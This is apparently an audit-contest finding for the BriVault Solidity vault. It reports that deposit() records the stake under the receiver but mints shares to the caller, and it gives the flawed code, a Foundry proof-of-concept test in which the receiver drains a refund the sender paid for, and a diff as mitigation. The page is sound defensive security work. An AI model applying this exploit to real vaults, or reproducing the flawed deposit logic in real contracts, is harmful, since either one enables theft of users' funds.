BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Broken accounting in deposit() function

Description

  • In an ERC‑4626 vault, deposit(assets, receiver) should transfer assets from the caller (msg.sender) into the vault and mint shares to receiver, so accounting for who paid vs. who owns shares is consistent across deposit, cancel, join, and withdraw flows.

  • The vault records the stake under stakedAsset[receiver] but mints shares to msg.sender. This splits ownership/bookkeeping across two different addresses, enabling refunds to the receiver who never deposited, while the shares (and join/withdraw rights) stay with the sender. This violates ERC‑4626 semantics and breaks event logic (join/cancel/withdraw) and payouts.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
uint256 stakeAsset = assets - fee;
// @> stake recorded under `receiver`
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
// Transfers come from msg.sender (caller)
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
// @> SHARES MINTED TO msg.sender (not receiver) ← root cause
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}

Risk

Likelihood: High

  • UIs and integrators commonly set receiver to a different address than the caller (e.g., depositing for a friend or a multisig), which will immediately trigger the mismatch in live use.

  • An attacker can intentionally set receivermsg.sender to cause the vault to owe a refund to the receiver who never funded the deposit, making this a practical exploit path during normal participation.

Impact: High

  • Fund leakage/theft: The receiver can call cancelParticipation() and receive stakedAsset[receiver] back from the vault even though the sender funded the deposit, draining assets paid by the sender. Shares are burned from the caller in cancelParticipation, but if the receiver has no shares, the burn is zero while the refund still goes out - net loss for the vault/sender.

  • Broken tournament payouts: Event participation and winner share accounting rely on balanceOf(msg.sender) vs. stakedAsset[msg.sender]. With shares and stakes attributed to different addresses, joinEvent, _getWinnerShares, and withdraw produce inconsistent totals and skewed payouts.

Proof of Concept

  • The following Foundry test demonstrates a realistic exploit: user1 deposits with receiver = user2. Then user2 cancels and receives a refund of assets that user1 funded.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Use the same MockERC20 setup style found in the attached tests
import {MockERC20} from "./MockErc20.t.sol";
contract DepositAccountingExploitTest is Test {
BriVault vault;
MockERC20 token;
address user1 = address(0xA11CE); // attacker (payer)
address user2 = address(0xB0B); // receiver (refund thief)
address fee = address(0xFEE);
uint256 start;
uint256 end;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
token = new MockERC20("Mock", "M");
token.mint(user1, 10 ether);
vault = new BriVault(
IERC20(address(token)),
150, // 1.5% fee
start,
fee,
0.0002 ether,
end
);
vm.startPrank(user1);
token.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
function test_ReceiverCanDrainRefundOfSenderDeposit() public {
// user1 funds deposit but sets receiver=user2
vm.startPrank(user1);
uint256 sharesMintedToUser1 = vault.deposit(5 ether, user2);
vm.stopPrank();
// Verify shares are minted to sender (user1), not receiver
assertEq(vault.balanceOf(user1), sharesMintedToUser1, "shares to sender");
assertEq(vault.balanceOf(user2), 0, "receiver has no shares");
// user2 never approved or transferred tokens, yet can cancel and get refund
vm.startPrank(user2);
uint256 vaultBalBefore = token.balanceOf(address(vault));
uint256 user2Before = token.balanceOf(user2);
vault.cancelParticipation(); // burns zero shares from user2, but refunds stakedAsset[user2]
uint256 vaultBalAfter = token.balanceOf(address(vault));
uint256 user2After = token.balanceOf(user2);
vm.stopPrank();
// Receiver got paid out from the vault; sender's funds are gone
assertGt(user2After, user2Before, "receiver stole the refund");
assertLt(vaultBalAfter, vaultBalBefore, "vault lost assets");
}
}

Recommended Mitigation

  • Receiver should be msg.sender to keep accounting consistent

- function deposit(uint256 assets, address receiver) public override returns (uint256) {
- require(receiver != address(0));
+ function deposit(uint256 assets) public override returns (uint256) {
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
uint256 stakeAsset = assets - fee;
- stakedAsset[receiver] = stakeAsset;
+ // Accrue stake to the actual depositor
+ stakedAsset[msg.sender] += stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
- emit deposited(receiver, stakeAsset);
+ emit deposited(msg.sender, stakeAsset);
return participantShares;
}
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Shares Minted to msg.sender Instead of Specified Receiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!